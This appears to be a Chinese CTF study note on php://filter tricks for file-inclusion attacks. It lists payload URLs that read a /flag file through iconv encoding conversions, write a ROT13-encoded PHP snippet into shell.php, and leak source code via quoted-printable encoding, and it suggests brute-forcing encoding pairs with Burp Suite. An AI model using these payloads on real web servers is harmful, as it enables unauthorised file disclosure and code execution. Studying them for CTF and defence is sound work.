php://filter 的其它用法
在前面写的文件包含中,对于php://filter的用法也只是使用 convert 过滤器。除此之外还有 string 过滤器,convert.iconv 可以使用
convert.iconv
使用方法:
1 | convert.iconv.<input-encoding>.<output-encoding> |
如
1 | http://43.142.108.183:8085/?url=php://filter/read=convert.iconv.UTF-16BE.UTF-32BE/resource=/flag |
PHP支持的部分编码如下:
1 | UCS-4* |
在实际的测试过程中,可以构造好url,然后使用burpsuit对 <input-coding>、 <output-coding> 参数部分进行爆破,来查看哪些编码组合可以使用
string
- string.rot13
等同于用 str_rot13() 函数处理所有的流数据
对字符串执行ROT13转换。通过传递一个经过编码的字符串作为参数,将会得到原始字符串
1 | content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php |
- string.toupper
将字符串转化为大写
- string.tolower
将字符串转化为小写
other
还在网上看到下面这种形式,先记录下来,还没实际用到过
- convert.quoted-printable-encode 和 convert.quoted-printable-decode
使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据
1 | ?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php |